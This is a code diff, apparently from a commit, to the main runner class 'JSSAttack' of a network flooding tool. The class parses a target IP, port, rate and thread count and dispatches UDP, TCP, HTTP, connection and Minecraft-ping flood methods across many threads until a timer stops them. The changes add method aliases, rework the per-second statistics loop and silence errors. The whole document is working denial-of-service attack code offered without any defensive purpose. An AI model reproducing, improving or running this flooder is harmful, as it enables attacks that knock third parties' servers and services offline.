1717@ RequiredArgsConstructor
1818public class JSSAttack implements Runnable {
1919 public final CommandLineParser parser ;
20- public boolean isDebug ;
2120
2221 /**
2322 * Returns the appropriate attack method based on the provided method, byte size, and attack statics.
24- * @param method the attack method
25- * @param byteSize the size of the attack in bytes
23+ *
24+ * @param method the attack method
25+ * @param byteSize the size of the attack in bytes
2626 * @param attackStatics the attack statics
2727 * @return the appropriate attack method
2828 */
2929 @ NotNull
3030 private static IAttackMethod getMethod (String method , Integer byteSize , AttackStatics attackStatics ) {
31- return switch (method ) {
32- case "UDPFLOOD" -> new UDPFlood (attackStatics , byteSize );
33- case "TCPFLOOD" -> new TCPFlood (attackStatics , byteSize );
34- case "HTTPFLOOD" -> new HTTPFlood (attackStatics );
35- case "CONNFLOOD" -> new ConnFlood (attackStatics );
36- case "MCPING" -> new MCPingFlood (attackStatics );
31+ return switch (method . toUpperCase () ) {
32+ case "TCPFLOOD" , "TCP" , "TCP_FLOOD" -> new TCPFlood (attackStatics , byteSize );
33+ case "HTTPFLOOD" , "HTTP" , "HTTP_FLOOD" -> new HTTPFlood (attackStatics );
34+ case "CONNFLOOD" , "CONN" , "CONN_FLOOD" -> new ConnFlood (attackStatics );
35+ case "MCPING" , "MCPING_FLOOD" , "MCPINGFLOOD" -> new MCPingFlood (attackStatics );
36+ case "UDPFLOOD" , "UDP" , "UDP_FLOOD" -> new UDPFlood (attackStatics , byteSize );
3737 default -> throw new IllegalArgumentException ("Invalid method: " + method );
3838 };
3939 }
@@ -44,7 +44,7 @@ private static IAttackMethod getMethod(String method, Integer byteSize, AttackSt
4444 @ SneakyThrows
4545 public void run () {
4646 // Parse command line arguments
47- this . isDebug = this .parser .get ("--debug" , Boolean .class , false );
47+ final boolean debug = this .parser .get ("--debug" , Boolean .class , false );
4848 final String ip = this .parser .get ("--ip" , String .class , null );
4949 final Integer port = this .parser .get ("--port" , Integer .class , -1 );
5050 final Integer ppsLimit = this .parser .get ("--pps" , Integer .class , -1 );
@@ -63,60 +63,62 @@ public void run() {
6363 // Set logging level based on verbosity and debug mode
6464 if (verbose ) {
6565 Logger .setCurrentLevel (Logger .LEVEL .VERBOSE );
66- } else if (this . isDebug ) {
66+ } else if (debug ) {
6767 Logger .setCurrentLevel (Logger .LEVEL .DEBUG );
6868 }
6969
7070 // Log debug information if debug mode is enabled
71- if ( this . isDebug ()) {
72- Logger .setSection ( " DEBUG" );
73- Logger .log (Logger .LEVEL .INFO , "IP is: " + ip );
74- Logger .log (Logger .LEVEL .INFO , "Port is: " + port );
75- Logger .log (Logger .LEVEL .INFO , "MaxThreads is: " + maxThreads );
76- Logger .log (Logger .LEVEL .INFO , "ByteSize is: " + byteSize );
77- }
71+ Logger . setSection ( "DEBUG" );
72+ Logger .log ( Logger . LEVEL . DEBUG , "IP is: " + ip );
73+ Logger .log (Logger .LEVEL .DEBUG , "Port is: " + port );
74+ Logger .log (Logger .LEVEL .DEBUG , "MaxThreads is: " + maxThreads );
75+ Logger .log (Logger .LEVEL .DEBUG , "ByteSize is: " + byteSize );
76+ Logger .log (Logger .LEVEL .DEBUG , "Duration is: " + duration );
77+ Logger . log ( Logger . LEVEL . DEBUG , "Method is: " + method );
7878
7979 // Initialize task manager
80- TaskManager taskManager = new TaskManager (maxThreads );
80+ TaskManager taskManager = new TaskManager (maxThreads + 1 );
8181
8282 // Initialize attack parameters
8383 final AttackStatics attackStatics = new AttackStatics (ppsLimit );
8484 final IAttackMethod attackMethod = getMethod (method , byteSize , attackStatics );
8585 final InetAddress addr = InetAddress .getByName (ip );
8686 final LocalTime endTime = LocalTime .now ().plus (Duration .ofSeconds (duration ));
8787
88+ Logger .log (Logger .LEVEL .DEBUG , "addr: " + addr );
89+
8890 // Start the attack and log thread creation
8991 Logger .setSection ("ATTACK" );
90- for (int i = 0 ; i <= maxThreads ; i ++) {
91- Logger .log (Logger .LEVEL .DEBUG , "Adding new thread. Max: " + maxThreads );
92+ for (int i = 1 ; i <= maxThreads ; i ++) {
93+ Logger .log (Logger .LEVEL .DEBUG , "Adding new thread." + i + " Max: " + maxThreads );
9294
9395 taskManager .add (() -> {
9496 do {
9597 try {
9698 attackMethod .send (addr , port == -1 ? Randomize .randomPort () : port );
97- } catch (Exception e ) {
98- e . printStackTrace ( System . err );
99+ } catch (Exception ignored ) {
100+
99101 }
100- } while (duration == - 1 || endTime . isAfter ( LocalTime . now () ));
102+ } while (attackStatics . isRunning ( ));
101103 });
102104 }
103105
104106 // Log start of attack
105107 Logger .log (Logger .LEVEL .INFO , "Attacking..." );
106108
107- // Add task to print attack statistics if verbose mode is enabled
108- if (verbose ) {
109- taskManager .add (() -> {
110- while (LocalTime .now ().isBefore (endTime )) {
111- try {
112- TimeUnit .SECONDS .sleep (1000 );
113- attackStatics .print ();
114- } catch (InterruptedException e ) {
115- e .printStackTrace (System .err );
116- }
109+ // Add task to manage statics for each second
110+ taskManager .add (() -> {
111+ while (LocalTime .now ().isBefore (endTime ) || duration == -1 ) {
112+ try {
113+ TimeUnit .SECONDS .sleep (1 );
114+ attackStatics .second ();
115+ } catch (InterruptedException e ) {
116+ e .printStackTrace (System .err );
117117 }
118- });
119- }
118+ }
119+
120+ attackStatics .setRunning (false );
121+ });
120122
121123 // Perform attack for specified duration or indefinitely
122124 if (duration == -1 ) {
0 commit comments